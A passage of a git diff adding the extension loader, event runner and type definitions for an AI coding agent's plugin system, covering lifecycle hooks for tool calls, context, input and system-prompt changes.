paths) { + const resolved = path.resolve(p); + if (!seen.has(resolved)) { + seen.add(resolved); + allPaths.push(p); + } + } + }; + + // 1. Project-local extensions: cwd/${CONFIG_DIR_NAME}/extensions/ + const localExtDir = path.join(cwd, CONFIG_DIR_NAME, "extensions"); + addPaths(discoverExtensionsInDir(localExtDir)); + + // 2. Global extensions: agentDir/extensions/ + const globalExtDir = path.join(agentDir, "extensions"); + addPaths(discoverExtensionsInDir(globalExtDir)); + + // 3. Explicitly configured paths + for (const p of configuredPaths) { + const resolved = resolvePath(p, cwd); + if (fs.existsSync(resolved) && fs.statSync(resolved).isDirectory()) { + // Check for package.json with OpenClaw manifest or index.ts + const entries = resolveExtensionEntries(resolved); + if (entries) { + addPaths(entries); + continue; + } + // No explicit entries - discover individual files in directory + addPaths(discoverExtensionsInDir(resolved)); + continue; + } + + addPaths([resolved]); + } + + return loadExtensions(allPaths, cwd, eventBus); +} diff --git a/src/agents/sessions/extensions/runner.ts b/src/agents/sessions/extensions/runner.ts new file mode 100644 index 00000000000..0f7bbf51208 --- /dev/null +++ b/src/agents/sessions/extensions/runner.ts @@ -0,0 +1,1147 @@ +/** + * Extension runner - executes extensions and manages their lifecycle. + */ + +import type { KeyId } from "@earendil-works/pi-tui"; +import type { ImageContent, Model } from "../../../llm/types.js"; +import { type Theme, theme } from "../../modes/interactive/theme/theme.js"; +import type { AgentMessage } from "../../runtime/index.js"; +import type { ResourceDiagnostic } from "../diagnostics.js"; +import type { KeybindingsConfig } from "../keybindings.js"; +import type { ModelRegistry } from "../model-registry.js"; +import type { SessionManager } from "../session-manager.js"; +import type { BuildSystemPromptOptions } from "../system-prompt.js"; +import type { + BeforeAgentStartEvent, + BeforeAgentStartEventResult, + BeforeProviderRequestEvent, + CompactOptions, + ContextEvent, + ContextEventResult, + ContextUsage, + Extension, + ExtensionActions, + ExtensionCommandContext, + ExtensionCommandContextActions, + ExtensionContext, + ExtensionContextActions, + ExtensionError, + ExtensionEvent, + ExtensionFlag, + ExtensionRuntime, + ExtensionShortcut, + ExtensionUIContext, + InputEvent, + InputEventResult, + InputSource, + MessageEndEvent, + MessageEndEventResult, + MessageRenderer, + ProviderConfig, + RegisteredCommand, + RegisteredTool, + ReplacedSessionContext, + ResolvedCommand, + ResourcesDiscoverEvent, + ResourcesDiscoverResult, + SessionBeforeCompactResult, + SessionBeforeForkResult, + SessionBeforeSwitchResult, + SessionBeforeTreeResult, + SessionShutdownEvent, + ToolCallEvent, + ToolCallEventResult, + ToolResultEvent, + ToolResultEventResult, + UserBashEvent, + UserBashEventResult, +} from "./types.js"; + +// Extension shortcuts compete with canonical keybinding ids from keybindings.json. +// Only editor-global shortcuts are reserved here. Picker-specific bindings are not. +const RESERVED_KEYBINDINGS_FOR_EXTENSION_CONFLICTS = [ + "app.interrupt", + "app.clear", + "app.exit", + "app.suspend", + "app.thinking.cycle", + "app.model.cycleForward", + "app.model.cycleBackward", + "app.model.select", + "app.tools.expand", + "app.thinking.toggle", + "app.editor.external", + "app.message.followUp", + "tui.input.submit", + "tui.select.confirm", + "tui.select.cancel", + "tui.input.copy", + "tui.editor.deleteToLineEnd", +] as const; + +type BuiltInKeyBindings = Partial>; + +const buildBuiltinKeybindings = (resolvedKeybindings: KeybindingsConfig): BuiltInKeyBindings => { + const builtinKeybindings = {} as BuiltInKeyBindings; + for (const [keybinding, keys] of Object.entries(resolvedKeybindings)) { + if (keys === undefined) { + continue; + } + const keyList = Array.isArray(keys) ? keys : [keys]; + const restrictOverride = ( + RESERVED_KEYBINDINGS_FOR_EXTENSION_CONFLICTS as readonly string[] + ).includes(keybinding); + for (const key of keyList) { + const normalizedKey = key.toLowerCase() as KeyId; + // If multiple actions bind the same key, the reserved action wins so extensions + // remain blocked by reserved shortcuts regardless of iteration order. + const existing = builtinKeybindings[normalizedKey]; + if (existing?.restrictOverride && !restrictOverride) { + continue; + } + builtinKeybindings[normalizedKey] = { + keybinding, + restrictOverride, + }; + } + } + return builtinKeybindings; +}; + +/** Combined result from all before_agent_start handlers */ +interface BeforeAgentStartCombinedResult { + messages?: NonNullable[]; + systemPrompt?: string; +} + +/** + * Events handled by the generic emit() method. + * Events with dedicated emitXxx() methods are excluded for stronger type safety. + */ +type RunnerEmitEvent = Exclude< + ExtensionEvent, + | ToolCallEvent + | ToolResultEvent + | UserBashEvent + | ContextEvent + | BeforeProviderRequestEvent + | BeforeAgentStartEvent + | MessageEndEvent + | ResourcesDiscoverEvent + | InputEvent +>; + +type SessionBeforeEvent = Extract< + RunnerEmitEvent, + { + type: + | "session_before_switch" + | "session_before_fork" + | "session_before_compact" + | "session_before_tree"; + } +>; + +type SessionBeforeEventResult = + | SessionBeforeSwitchResult + | SessionBeforeForkResult + | SessionBeforeCompactResult + | SessionBeforeTreeResult; + +type RunnerEmitResult = TEvent extends { + type: "session_before_switch"; +} + ? SessionBeforeSwitchResult | undefined + : TEvent extends { type: "session_before_fork" } + ? SessionBeforeForkResult | undefined + : TEvent extends { type: "session_before_compact" } + ? SessionBeforeCompactResult | undefined + : TEvent extends { type: "session_before_tree" } + ? SessionBeforeTreeResult | undefined + : undefined; + +export type ExtensionErrorListener = (error: ExtensionError) => void; + +export type NewSessionHandler = (options?: { + parentSession?: string; + setup?: (sessionManager: SessionManager) => Promise; + withSession?: (ctx: ReplacedSessionContext) => Promise; +}) => Promise<{ cancelled: boolean }>; + +export type ForkHandler = ( + entryId: string, + options?: { + position?: "before" | "at"; + withSession?: (ctx: ReplacedSessionContext) => Promise; + }, +) => Promise<{ cancelled: boolean }>; + +export type NavigateTreeHandler = ( + targetId: string, + options?: { + summarize?: boolean; + customInstructions?: string; + replaceInstructions?: boolean; + label?: string; + }, +) => Promise<{ cancelled: boolean }>; + +export type SwitchSessionHandler = ( + sessionPath: string, + options?: { withSession?: (ctx: ReplacedSessionContext) => Promise }, +) => Promise<{ cancelled: boolean }>; + +export type ReloadHandler = () => Promise; + +export type ShutdownHandler = () => void; + +/** + * Helper function to emit session_shutdown event to extensions. + * Returns true if the event was emitted, false if there were no handlers. + */ +export async function emitSessionShutdownEvent( + extensionRunner: ExtensionRunner, + event: SessionShutdownEvent, +): Promise { + if (extensionRunner.hasHandlers("session_shutdown")) { + await extensionRunner.emit(event); + return true; + } + return false; +} + +const noOpUIContext: ExtensionUIContext = { + select: async () => undefined, + confirm: async () => false, + input: async () => undefined, + notify: () => {}, + onTerminalInput: () => () => {}, + setStatus: () => {}, + setWorkingMessage: () => {}, + setWorkingVisible: () => {}, + setWorkingIndicator: () => {}, + setHiddenThinkingLabel: () => {}, + setWidget: () => {}, + setFooter: () => {}, + setHeader: () => {}, + setTitle: () => {}, + custom: async () => undefined as never, + pasteToEditor: () => {}, + setEditorText: () => {}, + getEditorText: () => "", + editor: async () => undefined, + addAutocompleteProvider: () => {}, + setEditorComponent: () => {}, + getEditorComponent: () => undefined, + get theme() { + return theme; + }, + getAllThemes: () => [], + getTheme: () => undefined, + setTheme: (nextTheme: string | Theme) => { + void nextTheme; + return { success: false, error: "UI not available" }; + }, + getToolsExpanded: () => false, + setToolsExpanded: () => {}, +}; + +export class ExtensionRunner { + private extensions: Extension[]; + private runtime: ExtensionRuntime; + private uiContext: ExtensionUIContext; + private cwd: string; + private sessionManager: SessionManager; + private modelRegistry: ModelRegistry; + private errorListeners: Set = new Set(); + private getModel: () => Model | undefined = () => undefined; + private isIdleFn: () => boolean = () => true; + private getSignalFn: () => AbortSignal | undefined = () => undefined; + private waitForIdleFn: () => Promise = async () => {}; + private abortFn: () => void = () => {}; + private hasPendingMessagesFn: () => boolean = () => false; + private getContextUsageFn: () => ContextUsage | undefined = () => undefined; + private compactFn: (options?: CompactOptions) => void = () => {}; + private getSystemPromptFn: () => string = () => ""; + private newSessionHandler: NewSessionHandler = async () => ({ cancelled: false }); + private forkHandler: ForkHandler = async () => ({ cancelled: false }); + private navigateTreeHandler: NavigateTreeHandler = async () => ({ cancelled: false }); + private switchSessionHandler: SwitchSessionHandler = async () => ({ cancelled: false }); + private reloadHandler: ReloadHandler = async () => {}; + private shutdownHandler: ShutdownHandler = () => {}; + private shortcutDiagnostics: ResourceDiagnostic[] = []; + private commandDiagnostics: ResourceDiagnostic[] = []; + private staleMessage: string | undefined; + + constructor( + extensions: Extension[], + runtime: ExtensionRuntime, + cwd: string, + sessionManager: SessionManager, + modelRegistry: ModelRegistry, + ) { + this.extensions = extensions; + this.runtime = runtime; + this.uiContext = noOpUIContext; + this.cwd = cwd; + this.sessionManager = sessionManager; + this.modelRegistry = modelRegistry; + } + + bindCore( + actions: ExtensionActions, + contextActions: ExtensionContextActions, + providerActions?: { + registerProvider?: (name: string, config: ProviderConfig) => void; + unregisterProvider?: (name: string) => void; + }, + ): void { + // Copy actions into the shared runtime (all extension APIs reference this) + this.runtime.sendMessage = actions.sendMessage; + this.runtime.sendUserMessage = actions.sendUserMessage; + this.runtime.appendEntry = actions.appendEntry; + this.runtime.setSessionName = actions.setSessionName; + this.runtime.getSessionName = actions.getSessionName; + this.runtime.setLabel = actions.setLabel; + this.runtime.getActiveTools = actions.getActiveTools; + this.runtime.getAllTools = actions.getAllTools; + this.runtime.setActiveTools = actions.setActiveTools; + this.runtime.refreshTools = actions.refreshTools; + this.runtime.getCommands = actions.getCommands; + this.runtime.setModel = actions.setModel; + this.runtime.getThinkingLevel = actions.getThinkingLevel; + this.runtime.setThinkingLevel = actions.setThinkingLevel; + + // Context actions (required) + this.getModel = contextActions.getModel; + this.isIdleFn = contextActions.isIdle; + this.getSignalFn = contextActions.getSignal; + this.abortFn = contextActions.abort; + this.hasPendingMessagesFn = contextActions.hasPendingMessages; + this.shutdownHandler = contextActions.shutdown; + this.getContextUsageFn = contextActions.getContextUsage; + this.compactFn = contextActions.compact; + this.getSystemPromptFn = contextActions.getSystemPrompt; + + // Flush provider registrations queued during extension loading + for (const { name, config, extensionPath } of this.runtime.pendingProviderRegistrations) { + try { + if (providerActions?.registerProvider) { + providerActions.registerProvider(name, config); + } else { + this.modelRegistry.registerProvider(name, config); + } + } catch (err) { + this.emitError({ + extensionPath, + event: "register_provider", + error: err instanceof Error ? err.message : String(err), + stack: err instanceof Error ? err.stack : undefined, + }); + } + } + this.runtime.pendingProviderRegistrations = []; + + // From this point on, provider registration/unregistration takes effect immediately + // without requiring a /reload. + this.runtime.registerProvider = (name, config) => { + if (providerActions?.registerProvider) { + providerActions.registerProvider(name, config); + return; + } + this.modelRegistry.registerProvider(name, config); + }; + this.runtime.unregisterProvider = (name) => { + if (providerActions?.unregisterProvider) { + providerActions.unregisterProvider(name); + return; + } + this.modelRegistry.unregisterProvider(name); + }; + } + + bindCommandContext(actions?: ExtensionCommandContextActions): void { + if (actions) { + this.waitForIdleFn = actions.waitForIdle; + this.newSessionHandler = actions.newSession; + this.forkHandler = actions.fork; + this.navigateTreeHandler = actions.navigateTree; + this.switchSessionHandler = actions.switchSession; + this.reloadHandler = actions.reload; + return; + } + + this.waitForIdleFn = async () => {}; + this.newSessionHandler = async () => ({ cancelled: false }); + this.forkHandler = async () => ({ cancelled: false }); + this.navigateTreeHandler = async () => ({ cancelled: false }); + this.switchSessionHandler = async () => ({ cancelled: false }); + this.reloadHandler = async () => {}; + } + + setUIContext(uiContext?: ExtensionUIContext): void { + this.uiContext = uiContext ?? noOpUIContext; + } + + getUIContext(): ExtensionUIContext { + return this.uiContext; + } + + hasUI(): boolean { + return this.uiContext !== noOpUIContext; + } + + getExtensionPaths(): string[] { + return this.extensions.map((e) => e.path); + } + + /** Get all registered tools from all extensions (first registration per name wins). */ + getAllRegisteredTools(): RegisteredTool[] { + const toolsByName = new Map(); + for (const ext of this.extensions) { + for (const tool of ext.tools.values()) { + if (!toolsByName.has(tool.definition.name)) { + toolsByName.set(tool.definition.name, tool); + } + } + } + return Array.from(toolsByName.values()); + } + + /** Get a tool definition by name. Returns undefined if not found. */ + getToolDefinition(toolName: string): RegisteredTool["definition"] | undefined { + for (const ext of this.extensions) { + const tool = ext.tools.get(toolName); + if (tool) { + return tool.definition; + } + } + return undefined; + } + + getFlags(): Map { + const allFlags = new Map(); + for (const ext of this.extensions) { + for (const [name, flag] of ext.flags) { + if (!allFlags.has(name)) { + allFlags.set(name, flag); + } + } + } + return allFlags; + } + + setFlagValue(name: string, value: boolean | string): void { + this.runtime.flagValues.set(name, value); + } + + getFlagValues(): Map { + return new Map(this.runtime.flagValues); + } + + getShortcuts(resolvedKeybindings: KeybindingsConfig): Map { + this.shortcutDiagnostics = []; + const builtinKeybindings = buildBuiltinKeybindings(resolvedKeybindings); + const extensionShortcuts = new Map(); + + const addDiagnostic = (message: string, extensionPath: string) => { + this.shortcutDiagnostics.push({ type: "warning", message, path: extensionPath }); + if (!this.hasUI()) { + console.warn(message); + } + }; + + for (const ext of this.extensions) { + for (const [key, shortcut] of ext.shortcuts) { + const normalizedKey = key.toLowerCase() as KeyId; + + const builtInKeybinding = builtinKeybindings[normalizedKey]; + if (builtInKeybinding?.restrictOverride === true) { + addDiagnostic( + `Extension shortcut '${key}' from ${shortcut.extensionPath} conflicts with built-in shortcut. Skipping.`, + shortcut.extensionPath, + ); + continue; + } + + if (builtInKeybinding?.restrictOverride === false) { + addDiagnostic( + `Extension shortcut conflict: '${key}' is built-in shortcut for ${builtInKeybinding.keybinding} and ${shortcut.extensionPath}. Using ${shortcut.extensionPath}.`, + shortcut.extensionPath, + ); + } + + const existingExtensionShortcut = extensionShortcuts.get(normalizedKey); + if (existingExtensionShortcut) { + addDiagnostic( + `Extension shortcut conflict: '${key}' registered by both ${existingExtensionShortcut.extensionPath} and ${shortcut.extensionPath}. Using ${shortcut.extensionPath}.`, + shortcut.extensionPath, + ); + } + extensionShortcuts.set(normalizedKey, shortcut); + } + } + return extensionShortcuts; + } + + getShortcutDiagnostics(): ResourceDiagnostic[] { + return this.shortcutDiagnostics; + } + + invalidate( + message = "This extension ctx is stale after session replacement or reload. Do not use a captured api or command ctx after ctx.newSession(), ctx.fork(), ctx.switchSession(), or ctx.reload(). For newSession, fork, and switchSession, move post-replacement work into withSession and use the ctx passed to withSession. For reload, do not use the old ctx after await ctx.reload().", + ): void { + if (!this.staleMessage) { + this.staleMessage = message; + this.runtime.invalidate(message); + } + } + + private assertActive(): void { + if (this.staleMessage) { + throw new Error(this.staleMessage); + } + } + + onError(listener: ExtensionErrorListener): () => void { + this.errorListeners.add(listener); + return () => this.errorListeners.delete(listener); + } + + emitError(error: ExtensionError): void { + for (const listener of this.errorListeners) { + listener(error); + } + } + + hasHandlers(eventType: string): boolean { + for (const ext of this.extensions) { + const handlers = ext.handlers.get(eventType); + if (handlers && handlers.length > 0) { + return true; + } + } + return false; + } + + getMessageRenderer(customType: string): MessageRenderer | undefined { + for (const ext of this.extensions) { + const renderer = ext.messageRenderers.get(customType); + if (renderer) { + return renderer; + } + } + return undefined; + } + + private resolveRegisteredCommands(): ResolvedCommand[] { + const commands: RegisteredCommand[] = []; + const counts = new Map(); + + for (const ext of this.extensions) { + for (const command of ext.commands.values()) { + commands.push(command); + counts.set(command.name, (counts.get(command.name) ?? 0) + 1); + } + } + + const seen = new Map(); + const takenInvocationNames = new Set(); + + return commands.map((command) => { + const occurrence = (seen.get(command.name) ?? 0) + 1; + seen.set(command.name, occurrence); + + let invocationName = + (counts.get(command.name) ?? 0) > 1 ? `${command.name}:${occurrence}` : command.name; + + if (takenInvocationNames.has(invocationName)) { + let suffix = occurrence; + do { + suffix++; + invocationName = `${command.name}:${suffix}`; + } while (takenInvocationNames.has(invocationName)); + } + + takenInvocationNames.add(invocationName); + return Object.assign({}, command, { invocationName }); + }); + } + + getRegisteredCommands(): ResolvedCommand[] { + this.commandDiagnostics = []; + return this.resolveRegisteredCommands(); + } + + getCommandDiagnostics(): ResourceDiagnostic[] { + return this.commandDiagnostics; + } + + getCommand(name: string): ResolvedCommand | undefined { + return this.resolveRegisteredCommands().find((command) => command.invocationName === name); + } + + /** + * Request a graceful shutdown. Called by extension tools and event handlers. + * The actual shutdown behavior is provided by the mode via bindExtensions(). + */ + shutdown(): void { + this.shutdownHandler(); + } + + /** + * Create an ExtensionContext for use in event handlers and tool execution. + * Context values are resolved at call time, so changes via bindCore/bindUI are reflected. + */ + createContext(): ExtensionContext { + const assertActive = () => this.assertActive(); + const getModel = this.getModel; + const getUiContext = () => this.uiContext; + const hasUiContext = () => this.hasUI(); + const getCwd = () => this.cwd; + const getSessionManager = () => this.sessionManager; + const getModelRegistry = () => this.modelRegistry; + const isIdle = () => this.isIdleFn(); + const getSignal = () => this.getSignalFn(); + const abort = () => this.abortFn(); + const hasPendingMessages = () => this.hasPendingMessagesFn(); + const shutdown = () => this.shutdownHandler(); + const getContextUsage = () => this.getContextUsageFn(); + const compact = (options?: CompactOptions) => this.compactFn(options); + const getSystemPrompt = () => this.getSystemPromptFn(); + return { + get ui() { + assertActive(); + return getUiContext(); + }, + get hasUI() { + assertActive(); + return hasUiContext(); + }, + get cwd() { + assertActive(); + return getCwd(); + }, + get sessionManager() { + assertActive(); + return getSessionManager(); + }, + get modelRegistry() { + assertActive(); + return getModelRegistry(); + }, + get model() { + assertActive(); + return getModel(); + }, + isIdle: () => { + assertActive(); + return isIdle(); + }, + get signal() { + assertActive(); + return getSignal(); + }, + abort: () => { + assertActive(); + abort(); + }, + hasPendingMessages: () => { + assertActive(); + return hasPendingMessages(); + }, + shutdown: () => { + assertActive(); + shutdown(); + }, + getContextUsage: () => { + assertActive(); + return getContextUsage(); + }, + compact: (options) => { + assertActive(); + compact(options); + }, + getSystemPrompt: () => { + assertActive(); + return getSystemPrompt(); + }, + }; + } + + createCommandContext(): ExtensionCommandContext { + // Use property descriptors instead of object spread so the guarded getters from + // createContext() stay lazy. A spread would eagerly read them once and freeze the + // old values into the returned object, bypassing stale-instance checks. + const context = Object.defineProperties( + {}, + Object.getOwnPropertyDescriptors(this.createContext()), + ) as ExtensionCommandContext; + context.waitForIdle = () => { + this.assertActive(); + return this.waitForIdleFn(); + }; + context.newSession = (options) => { + this.assertActive(); + return this.newSessionHandler(options); + }; + context.fork = (entryId, options) => { + this.assertActive(); + return this.forkHandler(entryId, options); + }; + context.navigateTree = (targetId, options) => { + this.assertActive(); + return this.navigateTreeHandler(targetId, options); + }; + context.switchSession = (sessionPath, options) => { + this.assertActive(); + return this.switchSessionHandler(sessionPath, options); + }; + context.reload = () => { + this.assertActive(); + return this.reloadHandler(); + }; + return context; + } + + private isSessionBeforeEvent(event: RunnerEmitEvent): event is SessionBeforeEvent { + return ( + event.type === "session_before_switch" || + event.type === "session_before_fork" || + event.type === "session_before_compact" || + event.type === "session_before_tree" + ); + } + + async emit(event: TEvent): Promise> { + const ctx = this.createContext(); + let result: SessionBeforeEventResult | undefined; + + for (const ext of this.extensions) { + const handlers = ext.handlers.get(event.type); + if (!handlers || handlers.length === 0) { + continue; + } + + for (const handler of handlers) { + try { + const handlerResult = await handler(event, ctx); + + if (this.isSessionBeforeEvent(event) && handlerResult) { + result = handlerResult as SessionBeforeEventResult; + if (result.cancel) { + return result as RunnerEmitResult; + } + } + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + const stack = err instanceof Error ? err.stack : undefined; + this.emitError({ + extensionPath: ext.path, + event: event.type, + error: message, + stack, + }); + } + } + } + + return result as RunnerEmitResult; + } + + async emitMessageEnd(event: MessageEndEvent): Promise { + const ctx = this.createContext(); + let currentMessage = event.message; + let modified = false; + + for (const ext of this.extensions) { + const handlers = ext.handlers.get("message_end"); + if (!handlers || handlers.length === 0) { + continue; + } + + for (const handler of handlers) { + try { + const currentEvent: MessageEndEvent = { ...event, message: currentMessage }; + const handlerResult = (await handler(currentEvent, ctx)) as + | MessageEndEventResult + | undefined; + if (!handlerResult?.message) { + continue; + } + + if (handlerResult.message.role !== currentMessage.role) { + this.emitError({ + extensionPath: ext.path, + event: "message_end", + error: "message_end handlers must return a message with the same role", + }); + continue; + } + + currentMessage = handlerResult.message; + modified = true; + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + const stack = err instanceof Error ? err.stack : undefined; + this.emitError({ + extensionPath: ext.path, + event: "message_end", + error: message, + stack, + }); + } + } + } + + return modified ? currentMessage : undefined; + } + + async emitToolResult(event: ToolResultEvent): Promise { + const ctx = this.createContext(); + const currentEvent: ToolResultEvent = { ...event }; + let modified = false; + + for (const ext of this.extensions) { + const handlers = ext.handlers.get("tool_result"); + if (!handlers || handlers.length === 0) { + continue; + } + + for (const handler of handlers) { + try { + const handlerResult = (await handler(currentEvent, ctx)) as + | ToolResultEventResult + | undefined; + if (!handlerResult) { + continue; + } + + if (handlerResult.content !== undefined) { + currentEvent.content = handlerResult.content; + modified = true; + } + if (handlerResult.details !== undefined) { + currentEvent.details = handlerResult.details; + modified = true; + } + if (handlerResult.isError !== undefined) { + currentEvent.isError = handlerResult.isError; + modified = true; + } + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + const stack = err instanceof Error ? err.stack : undefined; + this.emitError({ + extensionPath: ext.path, + event: "tool_result", + error: message, + stack, + }); + } + } + } + + if (!modified) { + return undefined; + } + + return { + content: currentEvent.content, + details: currentEvent.details, + isError: currentEvent.isError, + }; + } + + async emitToolCall(event: ToolCallEvent): Promise { + const ctx = this.createContext(); + let result: ToolCallEventResult | undefined; + + for (const ext of this.extensions) { + const handlers = ext.handlers.get("tool_call"); + if (!handlers || handlers.length === 0) { + continue; + } + + for (const handler of handlers) { + const handlerResult = await handler(event, ctx); + + if (handlerResult) { + result = handlerResult as ToolCallEventResult; + if (result.block) { + return result; + } + } + } + } + + return result; + } + + async emitUserBash(event: UserBashEvent): Promise { + const ctx = this.createContext(); + + for (const ext of this.extensions) { + const handlers = ext.handlers.get("user_bash"); + if (!handlers || handlers.length === 0) { + continue; + } + + for (const handler of handlers) { + try { + const handlerResult = await handler(event, ctx); + if (handlerResult) { + return handlerResult as UserBashEventResult; + } + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + const stack = err instanceof Error ? err.stack : undefined; + this.emitError({ + extensionPath: ext.path, + event: "user_bash", + error: message, + stack, + }); + } + } + } + + return undefined; + } + + async emitContext(messages: AgentMessage[]): Promise { + const ctx = this.createContext(); + let currentMessages = structuredClone(messages); + + for (const ext of this.extensions) { + const handlers = ext.handlers.get("context"); + if (!handlers || handlers.length === 0) { + continue; + } + + for (const handler of handlers) { + try { + const event: ContextEvent = { type: "context", messages: currentMessages }; + const handlerResult = await handler(event, ctx); + + if (handlerResult && (handlerResult as ContextEventResult).messages) { + currentMessages = (handlerResult as ContextEventResult).messages!; + } + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + const stack = err instanceof Error ? err.stack : undefined; + this.emitError({ + extensionPath: ext.path, + event: "context", + error: message, + stack, + }); + } + } + } + + return currentMessages; + } + + async emitBeforeProviderRequest(payload: unknown): Promise { + const ctx = this.createContext(); + let currentPayload = payload; + + for (const ext of this.extensions) { + const handlers = ext.handlers.get("before_provider_request"); + if (!handlers || handlers.length === 0) { + continue; + } + + for (const handler of handlers) { + try { + const event: BeforeProviderRequestEvent = { + type: "before_provider_request", + payload: currentPayload, + }; + const handlerResult = await handler(event, ctx); + if (handlerResult !== undefined) { + currentPayload = handlerResult; + } + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + const stack = err instanceof Error ? err.stack : undefined; + this.emitError({ + extensionPath: ext.path, + event: "before_provider_request", + error: message, + stack, + }); + } + } + } + + return currentPayload; + } + + async emitBeforeAgentStart( + prompt: string, + images: ImageContent[] | undefined, + systemPrompt: string, + systemPromptOptions: BuildSystemPromptOptions, + ): Promise { + let currentSystemPrompt = systemPrompt; + const ctx = Object.defineProperties( + {}, + Object.getOwnPropertyDescriptors(this.createContext()), + ) as ExtensionContext; + ctx.getSystemPrompt = () => { + this.assertActive(); + return currentSystemPrompt; + }; + const messages: NonNullable[] = []; + let systemPromptModified = false; + + for (const ext of this.extensions) { + const handlers = ext.handlers.get("before_agent_start"); + if (!handlers || handlers.length === 0) { + continue; + } + + for (const handler of handlers) { + try { + const event: BeforeAgentStartEvent = { + type: "before_agent_start", + prompt, + images, + systemPrompt: currentSystemPrompt, + systemPromptOptions, + }; + const handlerResult = await handler(event, ctx); + + if (handlerResult) { + const result = handlerResult as BeforeAgentStartEventResult; + if (result.message) { + messages.push(result.message); + } + if (result.systemPrompt !== undefined) { + currentSystemPrompt = result.systemPrompt; + systemPromptModified = true; + } + } + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + const stack = err instanceof Error ? err.stack : undefined; + this.emitError({ + extensionPath: ext.path, + event: "before_agent_start", + error: message, + stack, + }); + } + } + } + + if (messages.length > 0 || systemPromptModified) { + return { + messages: messages.length > 0 ? messages : undefined, + systemPrompt: systemPromptModified ? currentSystemPrompt : undefined, + }; + } + + return undefined; + } + + async emitResourcesDiscover( + cwd: string, + reason: ResourcesDiscoverEvent["reason"], + ): Promise<{ + skillPaths: Array<{ path: string; extensionPath: string }>; + promptPaths: Array<{ path: string; extensionPath: string }>; + themePaths: Array<{ path: string; extensionPath: string }>; + }> { + const ctx = this.createContext(); + const skillPaths: Array<{ path: string; extensionPath: string }> = []; + const promptPaths: Array<{ path: string; extensionPath: string }> = []; + const themePaths: Array<{ path: string; extensionPath: string }> = []; + + for (const ext of this.extensions) { + const handlers = ext.handlers.get("resources_discover"); + if (!handlers || handlers.length === 0) { + continue; + } + + for (const handler of handlers) { + try { + const event: ResourcesDiscoverEvent = { type: "resources_discover", cwd, reason }; + const handlerResult = await handler(event, ctx); + const result = handlerResult as ResourcesDiscoverResult | undefined; + + if (result?.skillPaths?.length) { + skillPaths.push( + ...result.skillPaths.map((path) => ({ path, extensionPath: ext.path })), + ); + } + if (result?.promptPaths?.length) { + promptPaths.push( + ...result.promptPaths.map((path) => ({ path, extensionPath: ext.path })), + ); + } + if (result?.themePaths?.length) { + themePaths.push( + ...result.themePaths.map((path) => ({ path, extensionPath: ext.path })), + ); + } + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + const stack = err instanceof Error ? err.stack : undefined; + this.emitError({ + extensionPath: ext.path, + event: "resources_discover", + error: message, + stack, + }); + } + } + } + + return { skillPaths, promptPaths, themePaths }; + } + + /** Emit input event. Transforms chain, "handled" short-circuits. */ + async emitInput( + text: string, + images: ImageContent[] | undefined, + source: InputSource, + ): Promise { + const ctx = this.createContext(); + let currentText = text; + let currentImages = images; + + for (const ext of this.extensions) { + for (const handler of ext.handlers.get("input") ?? []) { + try { + const event: InputEvent = { + type: "input", + text: currentText, + images: currentImages, + source, + }; + const result = (await handler(event, ctx)) as InputEventResult | undefined; + if (result?.action === "handled") { + return result; + } + if (result?.action === "transform") { + currentText = result.text; + currentImages = result.images ?? currentImages; + } + } catch (err) { + this.emitError({ + extensionPath: ext.path, + event: "input", + error: err instanceof Error ? err.message : String(err), + stack: err instanceof Error ? err.stack : undefined, + }); + } + } + } + return currentText !== text || currentImages !== images + ? { action: "transform", text: currentText, images: currentImages } + : { action: "continue" }; + } +} diff --git a/src/agents/sessions/extensions/types.ts b/src/agents/sessions/extensions/types.ts new file mode 100644 index 00000000000..af90b0c5fa5 --- /dev/null +++ b/src/agents/sessions/extensions/types.ts @@ -0,0 +1,1694 @@ +/** + * Extension system types. + * + * Extensions are TypeScript modules that can: + * - Subscribe to agent lifecycle events + * - Register LLM-callable tools + * - Register commands, keyboard shortcuts, and CLI flags + * - Interact with the user via UI primitives + */ + +import type { + AutocompleteItem, + AutocompleteProvider, + Component, + EditorComponent, + EditorTheme, + KeyId, + OverlayHandle, + OverlayOptions, + TUI, +} from "@earendil-works/pi-tui"; +import type { + Api, + AssistantMessageEvent, + AssistantMessageEventStreamContract, + Context, + ImageContent, + Model, + SimpleStreamOptions, + TextContent, + ToolResultMessage, +} from "openclaw/plugin-sdk/llm"; +import type { Static, TSchema } from "typebox"; +import type { Theme } from "../../modes/interactive/theme/theme.js"; +import type { + AgentMessage, + AgentToolResult, + AgentToolUpdateCallback, + ThinkingLevel, + ToolExecutionMode, +} from "../../runtime/index.js"; +import type { BashResult } from "../bash-executor.js"; +import type { CompactionPreparation, CompactionResult } from "../compaction/index.js"; +import type { EventBus } from "../event-bus.js"; +import type { ExecOptions, ExecResult } from "../exec.js"; +import type { ReadonlyFooterDataProvider } from "../footer-data-provider.js"; +import type { KeybindingsManager } from "../keybindings.js"; +import type { CustomMessage } from "../messages.js"; +import type { ModelRegistry } from "../model-registry.js"; +import type { + BranchSummaryEntry, + CompactionEntry, + ReadonlySessionManager, + SessionEntry, + SessionManager, +} from "../session-manager.js"; +import type { SlashCommandInfo } from "../slash-commands.js"; +import type { SourceInfo } from "../source-info.js"; +import type { BuildSystemPromptOptions } from "../system-prompt.js"; +import type { BashOperations } from "../tools/bash-operations.js"; +import type { + BashToolDetails, + BashToolInput, + EditToolDetails, + EditToolInput, + FindToolDetails, + FindToolInput, + GrepToolDetails, + GrepToolInput, + LsToolDetails, + LsToolInput, + ReadToolDetails, + ReadToolInput, + WriteToolInput, +} from "../tools/tool-contracts.js"; + +export type { ExecOptions, ExecResult } from "../exec.js"; +export type { BuildSystemPromptOptions } from "../system-prompt.js"; +export type { AgentToolResult, AgentToolUpdateCallback, ToolExecutionMode }; +export type { AppKeybinding, KeybindingsManager } from "../keybindings.js"; + +export type OAuthCredentials = { + refresh: string; + access: string; + expires: number; + [key: string]: unknown; +}; + +export type OAuthPrompt = { + message: string; + placeholder?: string; + allowEmpty?: boolean; +}; + +export type OAuthAuthInfo = { + url: string; + instructions?: string; +}; + +export type OAuthSelectOption = { + id: string; + label: string; +}; + +export type OAuthSelectPrompt = { + message: string; + options: OAuthSelectOption[]; +}; + +export interface OAuthLoginCallbacks { + onAuth: (info: OAuthAuthInfo) => void; + 